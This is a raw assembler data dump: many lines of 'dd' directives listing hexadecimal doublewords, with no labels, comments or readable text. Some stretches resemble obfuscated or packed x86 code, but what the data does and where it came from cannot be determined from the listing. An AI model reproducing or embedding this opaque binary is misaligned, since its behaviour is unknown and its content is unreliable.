		dd 620349DDh, 0A08643FCh, 7CB389C2h, 6B8D350Dh,	273412A3h
		dd 0DDBF35F5h, 3EA5B89Fh, 6E4CA87h, 0FFFDADD8h,	0AD1137FFh
		dd 0F9DDBEF7h, 72856C85h, 0C77550Eh, 0AD979111h, 9D84CAE3h
		dd 0B572298Ah, 12C92ECFh, 26916F55h, 2BFAB113h,	8C586E8h
		dd 92853CA1h, 0C5E6AC24h, 424DBD80h, 5700000Dh,	226534F7h
		dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h
		dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D8505DC2h
		dd 0F99287ADh, 41F85F97h, 5EB76421h, 0BEF77B63h, 0DE24DDh
		dd 5C279DBh, 5CC3D681h,	2402E8A5h, 8EF02576h, 72D3E6CDh
		dd 0F7CDF5F0h, 70B6DDBEh, 0B31F7250h, 0D2A2A198h, 12DDh
		dd 0A0B33E00h, 96A3813Ah, 0DDBF0166h, 0FCF8640Eh, 0B0C3FFFFh
		dd 433E25DEh, 0E3A7F852h, 0F948054Bh, 0D857F5D4h, 866435F5h
		dd 0D88BBFC5h, 1D8AEh, 7CB30F00h, 5DC3BB3Fh, 3E03E9A6h
		dd 0A609467Dh, 2C4C32EFh, 9371288Bh, 0BE7B0886h, 0E2108DDh
		dd 482EEBACh, 6B287D83h, 3D1B2E36h, 0D5384B00h,	8C735916h
		dd 0BE0E2991h, 2E0C52DDh, 744BA709h, 9759F4FCh,	218211D6h
		dd 0F4BC5B06h, 60C205D4h, 0AF9BEAA7h, 66DDBE80h, 52B4793Ah
		dd 389FB299h, 26F466DCh, 0E707622Eh, 3DA3442Ah,	0C955A886h
		dd 485B42B7h, 836926E5h, 9BFD64A5h, 68CA0DDCh, 0AFA3F2AFh
		dd 30DDBE02h, 6DA42370h, 48B8B05h, 0FD4B29D4h, 0D2A33C4Eh
		dd 13C27h, 97F98800h, 5ABC23E0h, 6661BAA1h, 0DDBEF77Ch
		dd 0B003E127h, 707FF027h, 0A02EF47h, 2FC0BE2Ch,	15D43548h
		dd 29947258h, 9C5BBDD0h, 0E1BF9DFh, 0E3A8D9DDh,	34834086h
		dd 0D8571C8Eh, 0C2207131h, 0D88CA889h, 39EAh, 0DEB04B00h
		dd 0BE433E25h, 0E7E3A808h, 44A7BAA1h, 0E61BC3BEh, 3E84D857h
		dd 98FA611Eh, 1C3C22DFh, 0AEFD3Eh, 0ABD857E6h, 0FFBA1B2Eh
		dd 0C4267321h, 0D88BB287h, 0A9ECh, 97F94D00h, 0F7B41E19h
		dd 99DFDDBEh, 0F055BC79h, 7A9A51B8h, 97FD10BDh,	0F7B41E19h
		dd 99DFDDBEh, 35D6BC79h, 725815D4h, 4E0D6F94h, 8EC82A91h
		dd 8251712Ah, 0C685E6F9h, 38452309h, 0DDBF0FFDh, 24F3B416h
		dd 260DE698h, 0AAB5D62Bh, 9279BFE3h, 905F1A7Fh,	3E31E84Dh
		dd 0C5E3C2C2h, 2AEF5F22h, 3F00000Bh, 0A4D1CDFh,	0D91CEBA4h
		dd 0ADF0BF76h, 80C39249h, 0CC91601Bh, 15CC31B8h, 0E7A20346h
		dd 0B76ED518h, 8443A5E8h, 0D4CF30B5h, 0D8505BEAh, 0B37A6F95h
		dd 0D6D93DA0h, 33D6B261h, 14FAB7D7h, 0F5AC1136h, 0CA81E326h
		dd 97F9A4FBh, 5ABC23E0h, 3649D2A1h, 0A3816D5h, 404h, 0B4C6B469h
		dd 5CA484DAh, 0BBCF9624h, 38B9B49Bh, 61E3AD06h,	0C2BC501Bh
		dd 0B24F4A31h, 63E64717h, 0AD11601Dh, 0ED66696h, 0AC9F0D4Eh
		dd 0C9DE7B1Eh, 366h, 0F7AD112Ah, 0C5FCDDBEh, 9F74AFFCh
		dd 0A9B694ECh, 0DDBED836h, 2C4E0C82h, 3E29B4D0h, 443F2646h
		dd 0E3A7611Bh, 64649984h, 0D2B0FDA4h, 6F4FBFB2h, 0D699C5E1h
		dd 0A6466h, 62197900h, 31EA5093h, 0FDBC1F62h, 0CC87EB2Eh
		dd 9E55BAFDh, 6F7A0ACFh, 3D804F0Ah, 0B4E1DDCh, 0DB1EEDA4h
		dd 6EF3C279h, 5AA8120Dh, 0ADD3D850h, 5B7CB3B8h,	46056733h
		dd 0FCDEA389h, 466B4987h, 0B66623E4h, 454027D8h, 0E3ADDBB9h
		dd 49D5A4EAh, 7CD5BC35h, 501B5981h, 8F48AED8h, 0F35E3C82h
		dd 437BEEF8h, 6C5399E6h, 7F7AF859h, 0D6637B57h,	0BDAFA40h
		dd 6374AAE0h, 99EDA0D6h, 92618138h, 48AAEE4Fh, 79E5CDC8h
		dd 488ED663h, 65856B28h, 28DF41A8h, 0BCC2E41h, 714F086Ah
		dd 0F708330h, 79208A85h, 54BD663h, 644228E5h, 806798F6h
		dd 4797CE27h, 70A1CD2Ch, 349B43CCh, 2F2AD663h, 0D6633487h
		dd 579DAAF0h, 0C4776C79h, 3520E875h, 0E8C84440h, 0F7D16007h
		dd 0BC4B995Eh, 0FD5F5272h, 2FD1CE1Bh, 97BFC6Ch,	30900000h
		dd 0F3599C6Bh, 0C72A6D3Ch, 9AFE4110h, 6ACF12E1h, 691BE0AFh
		dd 91601B80h, 5F2EED4Eh, 2FFEB51Ch, 2D18AECh, 0B9211C7Dh
		dd 0E2D85059h, 0DEB0C7BCh, 53E541A4h, 0F70C5591h, 2E90929h
		dd 0ADF7FF07h, 7B62A8E3h, 4757C744h, 2621C4CDh,	0D85179BCh
		dd 0A381A1E7h, 5C42538h, 0E0CAC51Eh, 8BD85179h,	785B837Eh
		dd 0FE44D851h, 1BDA3DDEh, 2A61EA3Dh, 0C04DF0CDh, 0E54CED89h
		dd 0AD8B712Eh, 7D642788h, 7A48346h, 36142E79h, 0B84945F5h
		dd 96C8D6D1h, 357BE642h, 3B4174Eh, 0C06573DCh, 9DF1A1E2h
		dd 0ED247D64h, 0ACC07C4h, 4C5937F9h, 0E87569C7h, 33372A70h
		dd 0FDD1CE7Bh, 8BBCA3Ah, 70D00000h, 3399DCABh, 76AAD7Ch
		dd 0DA3E8150h, 0AA0F5221h, 295B20EFh, 0D1A05BC0h, 9F6E2D8Eh
		dd 6F3EF55Ch, 4211CA2Ch, 79615CBDh, 22D85058h, 97F907FCh
		dd 81E6F9E0h, 44ABECCAh, 0E86C29E2h, 1274B9FAh,	2D1E8A59h
		dd 46D2A2BDh, 136h, 0E097F9A7h,	0A15ABC23h, 0B74846D2h
		dd 0D94D5D0h, 74DE3A8h,	0E0D7FB4Ah, 38F8D857h, 0D4C2897Bh
		dd 49B3D88Bh, 14000000h, 7080DEB0h, 0AF4D5808h,	8AE3CAEAh
		dd 0BCC4FA31h, 70A543C4h, 0BECFFFE7h, 8462A8DDh, 0A8306A77h
		dd 0CA2E41E3h, 5CA23311h, 0BE62509Fh, 8D4DD857h, 0EA6DDECCh
		dd 0C506D88Bh, 35000000h, 4906BD22h, 8C57EE2h, 0EB240222h
		dd 23E097F9h, 9ED557BCh, 718F210Bh, 2B931C5Dh, 0C0DDBE61h
		dd 0F9DF9C5Fh, 0C986A6ECh, 8A470062h, 3B0AC123h, 0BF85ED10h
		dd 0E3A406DDh, 2B90A3FCh, 44CDB370h, 0DDBE459Ah, 8EE1BF05h
		dd 558DF205h, 3B1939F0h, 5940B1CDh, 0AA1F215Eh,	0C5ACF2E3h
		dd 9F49716Ch, 0EC32D852h, 2B90A30Eh, 0F95EA170h, 64394F42h
		dd 480BC5E4h, 790D8h, 8645A500h, 550E74B7h, 29E04386h
		dd 0F8B3175Ah, 0CA81E629h, 9B4E36FBh, 69AC7B36h, 3F825108h
		dd 0F5221D8h, 9A1FEEADh, 47943E39h, 0D9FFD850h,	0DD94F9E4h
		dd 312C850Eh, 0DDBEF789h, 0CAC5ACF2h, 0DDBEF7E0h, 4267458Bh
		dd 15827E0h, 23E097F9h,	0D2A15ABCh, 6B86h, 19B4E500h, 0B86FD5E8h
		dd 0E1126CDAh, 926AA1FAh, 0D1F9F4E0h, 0BADDBE04h, 780CAF74h
		dd 424E5B39h, 1BE3ADACh, 2C1FC7C2h, 4288D850h, 0F1E8D364h
		dd 410FB986h, 6D2C8D2Eh, 0EF53664Dh, 0CFCA7734h, 0D850E3E7h
		dd 892A4A90h, 0CAB06D24h, 0C10D9DECh, 3F26DFAFh, 4383BD44h
		dd 2BFFEAE6h, 0B970D51Ah, 9E7491F4h, 5A5FB37Eh,	0BE000000h
		dd 3E25DEB0h, 0A8270E43h, 945197E3h, 57D79A45h,	591077D8h
		dd 0B1AA119Ch, 1E3C11DEh, 0A05D1C7Dh, 296D2E1Ch, 3FA2B576h
		dd 0C584E788h, 6A7839E7h, 0F9F4DB14h, 0E641F044h, 0C720074Dh
		dd 80987890h, 0B039CC0Ch, 0D66D6006h, 0B37E8671h, 2AB80572h
		dd 8DD92C0Ah, 0C6h, 3FA0B3ECh, 5E309E7Ch, 33C3BEA5h, 92E3AD97h
		dd 0A15E1D7Fh, 64CDDBBh, 5B8FC61Fh, 0A71A6182h,	0D900AA33h
		dd 256BD850h, 0D99B433Eh, 0BE04D850h, 8AD6BCE0h, 2381D288h
		dd 0D890CF28h, 794Dh, 0DEB0AE00h, 0B2433E25h, 11E3AD97h
		dd 54AB34DAh, 0DE3FFB73h, 8C1DFB1Bh, 74C0A646h,	0DFFBC72h
		dd 0D891493Eh, 5137h, 5AB39800h, 0BEF7775Fh, 0FCDA20DDh
		dd 18FFF08Eh, 0AD97931Dh, 34D9C4E3h, 228154A4h,	8EE8EAEh
		dd 0D68DF3BCh, 954EB219h, 86302BD8h, 0F1D85002h, 0B2FFEDABh
		dd 296A20FAh, 70CD679Eh, 4C980E7h, 6D0E8061h, 1F6D4B0Ah
		dd 0D891102Ch, 0D49h, 511AA00h,	2BDDBF10h, 0FFFEE381h
		dd 0DEB0E0FFh, 0C7843FA4h, 8441FA60h, 775E7E9Eh, 0F7BB231Eh
		dd 9EE4DDBEh, 85A55C0h,	0D3E3AD98h, 6E20D08Dh, 0D4F4AF14h
		dd 36EFF2EDh, 8B98E643h, 63B62690h, 527C77D6h, 3DD663B6h
		dd 84A4EAF7h, 8E6717C7h, 0D612ACA7h, 377DE870h,	20D73D50h
		dd 38C9C551h, 79145651h, 89CFF266h, 35FF6BA2h, 500525BDh
		dd 9BAE0772h, 0DFC58239h, 1975DC01h, 5B06F68h, 43123201h
		dd 8544A7BAh, 70619AA7h, 3D50625Fh, 7C379CDCh, 0DBB9D9BFh
		dd 0C49354B6h, 0AB681F81h, 8B7283FBh, 4959DF90h, 0EC77AE4Ch
		dd 0C386E46Dh, 0F63CCDABh, 0EBA8D439h, 0AB62C022h, 0A79BDFF9h
		dd 0E404C325h, 0D1694B1Fh, 4243E09h, 0D48BF235h, 914AB017h
		dd 6C5651AAh, 1768741Ah, 5DB2F3D1h, 248B4011h, 0F45B9E6Dh
		dd 86D4803Dh, 5F94E56Dh, 0E97241F8h, 0F7B473D6h, 872F2A11h
		dd 0F068741Ah, 0B093CCAAh, 0B96623D0h, 0CA8740A6h, 29E043E4h
		dd 3C4264Bh, 0B4059146h, 0E7E25636h, 0DDBEF7FFh, 0ECF9B214h
		dd 2EB786A6h, 147BB71Bh, 9ABAA05Dh, 0F419F7DDh,	5339D992h
		dd 64771E08h, 0A38946FDh, 915A17C5h, 62AD782Fh,	495C43FCh
		dd 8C722FE6h, 15D289EBh, 0C110512Fh, 0DDBEF719h, 3EF7C4F0h
		dd 0D501FD8h, 6A274AA6h, 9E5C8681h, 147DDBEh, 12ACED3Ch
		dd 0F9E635F2h, 0F5DDBE81h, 2289420Fh, 0E74C86EAh, 694F0C2Ch
		dd 0A34F7A49h, 9CDDBF62h, 229CC47Ch, 25EF0F2Dh,	0D2A36D25h
		dd 0FFFF624Ch, 5687BFFh, 0C5A38946h, 3B97F98Ch,	42A37525h
		dd 804F6F6Eh, 351CDB3Dh, 7C3E14FEh, 7B5920D4h, 9354B657h
		dd 803799ACh, 7ADD7EA2h, 9C73FEBBh, 0D75DEC3Eh,	44FB6102h
		dd 95E63287h, 3879DFE1h, 0F3DA91F3h, 0DA4179E0h, 60806623h
		dd 0B51CBDA3h, 40D120FEh, 51C2ECE7h, 67ADDDBEh,	47103B89h
		dd 6C65D2A3h, 0C6000000h, 3E25DEB0h, 0AD97BC43h, 0BBB60FE3h
		dd 0D8505713h, 0BCC982E8h, 2A948F76h, 55D85057h, 5AA0310Fh
		dd 5D89D4BAh, 182BBAF7h, 0A917F5B6h, 0FE351CD5h, 2479EC11h
		dd 46A849F8h, 4E2C885h,	8C139E99h, 7D44E643h, 0BDA36017h
		dd 4A5DB69Dh, 3DA52EE5h, 66D6624Ch, 9FF34220h
		dd 48h,	8F3F95CCh, 962C1651h, 0D3B97635h, 0B39CD5B3h, 0E18239A0h
		dd 260CC980h, 4BA4DA48h, 97666964h, 0C90FE3ADh,	15014329h
		dd 3A545623h, 0D8E7E2C9h, 0B3E64337h, 0B6775F5Ah, 2968D663h
		dd 1C126178h, 0AE82E3Bh, 9683379h, 775F5AB3h, 8CDDBEF7h
		dd 0C8AE6B28h, 729775BBh, 339A5710h, 0C24B1AD1h, 0F7446E69h
		dd 0E92FDDBEh, 10E19D0Bh, 0EDD5D029h, 96DDBEF7h, 49F58B50h
		dd 5333DEF3h, 0DE0F0A75h, 0ADE3A8A9h, 9CFD359Ah, 4EDFBDDDh
		dd 679E4B08h, 0C32DB567h, 0FF0CEAF8h, 0D8572DD3h, 8D7F3CFCh
		dd 0D88C97BEh, 3DB7h, 0DEB01800h, 0A2033FA4h, 24442AE7h
		dd 7EE08167h, 0BBB69DBDh, 0E3A80836h, 0D5C195Fh, 0D857E6A1h
		dd 9B094A0Ah, 0D88BB2B0h, 0D7F4D209h, 24F00F94h, 0E001B85Fh
		dd 18F68C49h, 0E569h, 0A0B3CA00h, 0DCC27F3Ch, 0C077D9FEh
		dd 0B5379C03h, 0F779615Ch, 0DC22DDBEh, 0BEF76B53h, 0AECE14DDh
		dd 6F288AF1h, 8DF205B2h, 71D3F8D6h, 0EDC0EBBAh,	0E0DDBEFBh
		dd 0F3228C87h, 74DDDBEh, 0E9A20429h, 0B675D71Ah, 9D56BCCFh
		dd 0B0CE7EBFh, 0C8FF583Fh, 0EF3F98B7h, 2F3C1AC4h, 0E3A7F25Eh
		dd 0A6320147h, 353017E8h, 0E643A4D6h, 49A289CFh, 6A3A644Eh
		dd 0E2480FD6h, 27220929h, 0D66A3ABFh, 59C4A2E8h, 45A9E146h
		dd 36AD18Eh, 3D0C2C4Ch,	0F65D95FAh, 4A2C1F3Fh, 0DECBDCC1h
		dd 1D7AB1Bh, 8CEC0000h,	57BD00CFh, 2B8ED1A0h, 0F65A9D6Ch
		dd 0C62B6E3Dh, 0D773C0Bh, 0EDBC77DCh, 0C39249AAh, 93621980h
		dd 5E2DEE50h, 557D78D9h, 3ED85041h, 94F92318h, 69CB0EDDh
		dd 52B8CBB2h, 0DF68BB99h, 0F7238B86h, 64CDDBEh,	0DEB0EF28h
		dd 0D0F02480h, 0DF3B06Bh, 8B50EF48h, 2F4F6F2Ah,	0A404D48h
		dd 417E3A8h, 0DC43E49Fh, 70B64725h, 0B2AD06B3h,	0D857E408h
		dd 424F2D73h, 0D857E49Ch, 1069C23Fh, 57E4AD15h,	790D6D8h
		dd 0D857E4DFh, 0F6A482C8h, 0B50447A5h, 0AD71D88Bh, 0D2000000h
		dd 0FE5F97F9h, 80A057BAh, 0D73CA360h, 5D105F1Ch, 76DDBEFBh
		dd 596C5314h, 0D603EF5h, 17464D84h, 0FF3ADECAh,	4D9ACD3Ah
		dd 0D0AE7D87h, 0D59249ABh, 0B1986925h, 0A7D9D5B6h, 0B988CEE3h
		dd 0B9A0512Dh, 4386ECBEh, 8A71B7E6h, 96B21277h,	1711F226h
		dd 0EC2FFE1Eh, 0ABD9CC87h, 81CBDCD2h, 0DB4EBEh,	90F00000h
		dd 53B9FCCBh, 278ACD9Ch, 0FA5EA170h, 0CA2F7241h, 97B400Fh
		dd 0F1C07BE0h, 0BF8E4DAEh, 8F5E157Ch, 6231EA4Ch, 59817CDDh
		dd 42D85040h, 94F9271Ch, 69CB0EDDh, 235AE3B2h, 0FD3617F6h
		dd 8E383308h, 0F9DDBE2Dh, 7CB593B3h, 813AA0B3h,	0DB00DEC4h
		dd 9E05C279h, 81947B3Ch, 3386641Bh, 0E6CD8EF0h,	0F728928Dh
		dd 5ABFDDBEh, 6E4C929Fh, 0B576D81Bh, 6D61A9F8h,	9C28099Ah
		dd 72B416DFh, 0B970D30Bh, 0D497F899h, 42113117h, 8A7A82B9h
		dd 0C6D5996Eh, 0AA61C3E8h, 692286EDh, 23E245ACh, 0DB9EFF66h
		dd 0CC8DB91Eh, 7F1CC6C1h, 4187F665h, 86998221h,	0DD8B6922h
		dd 36F5579Ch, 9C22467h,	0E4CEC922h, 8FF6657Fh, 0EAA764C8h
		dd 0C506E404h, 855h, 907DB400h,	8361187Dh, 0E299F94Ah
		dd 9B5CBE25h, 591077DEh, 15D4359Ch, 0D58CF158h,	954CB118h
		dd 560D71D8h, 18CF3299h, 0D58EF45Bh, 89508118h,	405E0h
		dd 0E8830000h, 24048704h, 6824248Bh, 2DF0h, 68243489h
		dd 5272h, 0BE241C89h, 0DA4486Fh, 5106EEC1h, 0B810CAB9h
		dd 59CE0105h, 241C8B54h, 8304C483h, 348904ECh, 24348124h
		dd 79865F4Ch, 8108438Fh, 5F4C0873h, 34FF7986h, 0C4835B24h
		dd 24348B04h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FB91ACE9h
		dd 0B825AFFFh, 5EEB809h, 0E0FFC503h, 0FC3A9EAh,	0B6C3186h
		dd 35922B20h, 3B6A9D04h, 6B2A20E5h, 5D6EAE66h, 23D4B51Eh
		dd 5DA55E8Dh, 7D0B676h,	3292B368h, 6BD54130h, 487505CCh
		dd 74CD968Bh, 9E1C13Bh,	9CFE4EEh, 213A3C7Fh, 212E4711h
		dd 6E8h, 1B38D200h, 0FCD22B88h,	0A5C2815Ah, 0F00006Fh
		dd 38Bh, 0F7B70F00h, 1BBA68h, 6059F800h, 0A8E0Fh, 5E90000h
		dd 6A000000h, 0DB4D9DA9h, 0FE9h, 8ED29700h, 6B36668Dh
		dd 3E60AFD9h, 7B966D32h, 813A8B61h, 0C83C81C7h,	0F708BE57h
		dd 0C781365Dh, 1A4E4F8h, 81F3B70Fh, 584C6DC7h, 0A5E88170h
		dd 576742FCh, 8FF08B66h, 81616002h, 204D81EAh, 38F0F08h
		dd 66000000h, 0C281F38Bh, 8204D7Dh, 1E981h, 850F0000h
		dd 24h,	13E9h, 11CE0600h, 1ED07C36h, 2C5003F7h,	88D076A5h
		dd 272A4F46h, 15E9h, 0AD12EA00h, 0D77C8B4Fh, 0FFFF8CE9h
		dd 0F3E692FFh, 9853C12h, 8D8DC480h, 5EEBA18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 31C35242h, 0F27665Ch
		dd 8D89F0BFh, 5E92655h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 67C35747h, 3558D701h,	7E3B7BFEh, 0A5953353h
		dd 0C705E910h, 0E9080585h, 6FFC05h, 39BD8900h, 0C705E912h
		dd 0E9163D85h, 5, 9EBB6600h, 55B5FF66h,	0FC05E923h, 0BC595FFh
		dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 4FE25AEBh, 74F1E716h
		dd 0E879E1E8h, 3D85388Ch, 25A273ACh, 30E85DBAh,	4B6D794Ch
		dd 0B9E26EF2h, 0C0C9CB43h, 15E4896Fh, 26AF6FB6h, 0F8ABE0F9h
		dd 0F8DDF3E7h, 9F56AED9h, 0D31900BDh, 6E34F8C2h, 2E99136Ch
		dd 0EC8A99E7h, 3B30CD79h, 565DB0DDh, 0CEFFCE8Ch, 0AF23B868h
		dd 0F42D930Ah, 0A54408EBh, 339C7F0Fh, 14E977E7h, 6800000Dh
		dd 5EEBC17h, 0FAC566E9h, 0BD1268FFh, 5CE905EEh,	68FFFAC5h
		dd 5EEBE79h, 0FAC552E9h, 0BF9568FFh, 48E905EEh,	68FFFAC5h
		dd 5EEC0CAh, 0FAC53EE9h, 0C37C68FFh, 34E905EEh,	68FFFAC5h
		dd 5EEC53Fh, 0FAC52AE9h, 0C64C68FFh, 20E905EEh,	0ECFFFAC5h
		dd 826885ACh, 14FA1746h, 0A58BA8D7h, 341A376Ah,	0AAAECBF6h
		dd 19448238h, 0AED516FCh, 416CAB91h, 0D1043E24h, 5806E7B4h
		dd 1327A016h, 0C2613F98h, 91B25588h, 1AFCC270h,	8C0216C9h
		dd 0C91A1A5Ch, 912EA416h, 299FCED9h, 3B5EA409h,	81BBA13Eh
		dd 0DC8AAB4Eh, 16C9EF9Ah, 6A11AE24h, 346FD931h,	4EFC9F01h
		dd 1C32D6C1h, 759CDD4Dh, 0DAE513h, 0A46896C1h, 3AD73968h
		dd 20F94280h, 6114B513h, 2630864Ah, 329A45h, 6F600000h
		dd 0E304A717h, 0AE2C1FB4h, 61FE891Eh, 32A6BAA7h, 0B356CC1Ch
		dd 22AED384h, 0B552FBB2h, 2F5D65FDh, 0F99A1320h, 0E2612F7Ch
		dd 0CB7F4526h, 45000000h, 275588C2h, 0DC05421Ch, 0E210729Dh
		dd 57957B18h, 965A892Ch, 0C96E77FDh, 13D78F2Ch,	0F7B765D9h
		dd 0AC16C974h, 0C974B8FEh, 78D04616h, 0AE72A002h, 0E20B4774h
		dd 7D4775A8h, 0E29CB91Bh, 16C978D1h, 0C7E41751h, 4674A7E1h
		dd 0C467D72Fh, 319DA516h, 5E7BF11Ch, 0BA5DCD25h, 84CA7899h
		dd 0A132053h, 393DF794h, 4519C6DBh, 14522CCFh, 0A8E6CCE9h
		dd 0A2DB0B2Eh, 0CA2C3F4Ch, 7253ED99h, 8C48406Fh, 0AF6h
		dd 27446BABh, 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h
		dd 3417969h, 94D5BBD8h,	2B6A506Dh, 0C3FDE300h, 0C5A67390h
		dd 27A65717h, 20FE5713h, 6A1884C2h, 16C91A24h, 0B396CA6h
		dd 1173E941h, 0A1D40EF4h, 5A7B5684h, 0C91AEAACh, 0E17EF416h
		dd 3DE050A8h, 0CBF92463h, 89376401h, 1C322998h,	0B24A78EEh
		dd 13200B90h, 5A88B3F2h, 0FF2D5896h
		dd 0F7A7CEF1h, 0E7C8F790h, 0B9AE3649h, 0D99CD16Eh, 26200ED2h
		dd 0B32245h, 0C2E80000h, 63275588h, 34CCFA25h, 16C9163Fh
		dd 13B6E923h, 34D1F839h, 3A6DA78Dh, 2D9DF50Ch, 0F36FDC8Ah
		dd 3B5C1C31h, 203DC98Dh, 3F1B7C13h, 0F9461B2Ah,	0AC8E2BA1h
		dd 6DCF023Ch, 54022350h, 1320F512h, 8DCA269Ch, 3088C15Eh
		dd 0DC6F1DC0h, 2619C66Ah, 0F5330DB0h, 89C7ADCAh, 0C1FD2A64h
		dd 389A6492h, 0ADDE400Ah, 6F72F2EFh, 0FBAA665Eh, 0B0000009h
		dd 462C4970h, 0D8BEDB0Ah, 694F6C9Bh, 0F8DEFB2Eh, 6E728FBAh
		dd 0D5003E74h, 6A91D2B8h, 0FD28674Dh, 8DC0FAE0h, 14C2A370h
		dd 1327A752h, 7B25035Ch, 440EE14Ch, 0F08D11EFh,	84A1CC0Ah
		dd 1431649Eh, 5588C2E6h, 0FC296327h, 122F91C0h,	6E1181D9h
		dd 837734Dh, 0A3406FACh, 32195CE9h, 0FE2CA21Ch,	201B5D66h
		dd 3968A513h, 980C470Bh, 201BA4EAh, 52B42A13h, 0BFB65324h
		dd 9ED778DFh, 26D2430Dh, 65D5D45h, 6F230000h, 0E304A717h
		dd 0C91A7135h, 6A077D16h, 1CCA8F3Dh, 56CC1C32h,	71EE1D28h
		dd 0D8C4D891h, 1131EB88h, 6613207Ah, 55FBB0C5h,	3F4526B3h
		dd 0AB82865h, 13204244h, 0D572D44Ah, 61EB4h, 176F7A00h
		dd 0EE2A04A7h, 2AC791BFh, 364FFDh, 2781C32h, 30063CD4h
		dd 0D0711320h, 0E997B8A5h, 132030A5h, 3716B329h, 4526F969h
		dd 5EE87h, 38744E00h, 74A2D50Fh, 561A48AAh, 0EC89EB1Ah
		dd 0C4384BEh, 0F3A144B4h, 1C321C12h, 21B7E65Ch,	97370FF8h
		dd 0AEDD19F3h, 1680D811h, 0A74AACD7h, 0CDD174F9h, 5684FA95h
		dd 0D477E73Fh, 27152F26h, 1ABD3390h, 0E4920640h, 9F3527A2h
		dd 558A672Ch, 9F84C1A1h, 91BEDB3Dh, 1F4D78B7h, 0C0EE215Bh
		dd 11F794F6h, 0BB73A4D7h, 0AE578DBh, 8945612h, 9490000h
		dd 0A3DFC5E2h, 34715774h, 0C702E805h, 53917794h, 0DB070B28h
		dd 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh,	0F1B56344h
		dd 0FD1327A4h, 88C2C6A4h, 0B8102755h, 8EF7A548h, 0D01C3290h
		dd 0E1103D5Ah, 963D40EEh, 2DE78491h, 1327BD05h,	0C1EF225Dh
		dd 0E0A654F7h, 0EE1327BDh, 1CF01678h, 5992AFE2h, 3FED9002h
		dd 1327BD77h, 9ACD0777h, 8DF1A26Ch, 0FDC2BCA0h,	374270D2h
		dd 0C4F2215Dh, 365D9EFAh, 4679B399h, 20236F29h,	80BF1327h
		dd 18523855h, 231FB7E5h, 5F63ADF0h, 4C8F621h, 996A98C7h
		dd 152579FCh, 8DAEAFC6h, 0D0F8BE6Ch, 9006ECD8h,	0D8D01E60h
		dd 8D2AA0ECh, 1406DA7h,	7CDEA8D6h, 0C3F795Fh, 0E07C46DEh
		dd 0EF66ECD8h, 0B1E41E86h, 0F2B694h, 0C2F60000h, 63275588h
		dd 33CBF924h, 16C91A73h, 0F4350F30h, 0A5D59FCDh, 16C91AE1h
		dd 4E7CAFE9h, 19B62C84h, 98C6F933h, 16B92981h, 0A4D2FD3Ch
		dd 62103DDAh, 1C329025h, 38C2F369h, 87698693h, 778D38Fh
		dd 0ED2D0000h, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h
		dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h
		dd 0CD913F20h, 0D11327A5h, 88C29A78h, 25632755h, 76A1DFB9h
		dd 0C91A0046h, 0B6188E16h, 4974B399h, 6190CCA6h, 0FD371DC4h
		dd 104D27CAh, 0B79D44E1h, 0BFFFF79h, 2F58094Eh,	9DDB9FCDh
		dd 0F5544472h, 0BBE62480h, 5B97719Eh, 0E0B08F2Ch, 40CF4Ch
		dd 7, 54CAC6h, 0C20A0000h, 1C275588h, 3BD80342h, 0C92A4181h
		dd 4B2AA116h, 0CFEC1F59h, 5D8CC8A2h, 0E2C8652Fh, 0B24A78A3h
		dd 16C90A91h, 8B195CCFh, 0D604214Ch, 2A5883C2h,	0CEFC2766h
		dd 0AEF67FDEh, 6D27446Fh, 16C92223h, 0DB99489Dh, 0F09940CFh
		dd 5FFFFFFEh, 38ECAh, 88C20A00h, 90F21D5Bh, 1A88CA62h
		dd 700D16C9h, 32659F05h, 0FEC06E8Fh, 0FC16C91Ah, 96608EC1h
		dd 842BC83Eh, 8E31649Eh, 1AFFBF6Dh, 89FF16C9h, 0D69C34ECh
		dd 0CC16C91Ah, 0E2BC5F92h, 22DA77A6h, 0DF67E817h, 0F0A1CC0Bh
		dd 0B754B328h, 13B6267Eh, 326D1865h, 0BFF0661Ch, 6987063Bh
		dd 437E3A32h, 0F8000006h, 8E7491B8h, 20062352h,	0B197B4E3h
		dd 40264376h, 0B6BAD702h, 1D48862Ch, 0B2D91A00h, 4570AF95h
		dd 0D5084228h, 5C0AEBB8h, 1327DA1Ah, 0C26D4BA4h, 3B5C0688h
		dd 0D73F21ADh, 45834775h, 0DD17FD1Ah, 69A78DAAh, 76D80744h
		dd 1B468448h, 0D79EFDEDh, 3F72AC86h, 597EBCA2h,	0F7C1EF1Ah
		dd 0F7997895h, 0DD40CF2Ah, 0CD567CAEh, 0AA70FF1h, 2BAE9h
		dd 186FAF00h, 34E203A6h, 16C91A72h, 0A1D00C7Ch,	52EAA23Fh
		dd 6532CCA2h, 6E3D38D9h, 0BE212DA2h, 296BEh, 5A7B8400h
		dd 0C91AEAACh, 0E17EF416h, 3CDF51A8h, 0C91AC88Eh, 0BD60D616h
		dd 1AA8EE9Ch, 0C03616C9h, 0DD438E0Fh, 47E407B6h, 0FC19F78Fh
		dd 225D6532h, 0BCFDC1EFh, 18776795h, 39DA415Dh,	1DA16F3Ch
		dd 50BFBE21h, 85000002h, 3863A17Bh, 9F0B629Bh, 3C063463h
		dd 0C18937DAh, 8A16C91Ah, 5A28065Bh, 0CB3DEE1Dh, 5234D144h
		dd 0FE16AEDCh, 35653273h, 89CD7B9Ch, 15E8275Bh,	0A8CD029Fh
		dd 6F9EDBB5h, 8A5D813h,	21926729h, 20979BEh, 1F400000h
		dd 27232D71h, 0DF3BB1E8h, 7F49779Eh, 186FB4E2h,	195503A6h
		dd 5A16C91Ah, 76134680h, 58F01E94h, 6532CCB8h, 982B5AF3h
		dd 0EA6B2B64h, 3E376C09h, 0DD04451Fh, 6948E5AFh, 0BE2190A7h
		dd 1C6B9h, 4C7B7F00h, 4B894DD1h, 7728F220h, 0C15EC53Ch
		dd 406EA1DBh, 0F31A5B35h, 0AA58FBC5h, 16C918E4h, 0F1D774EAh
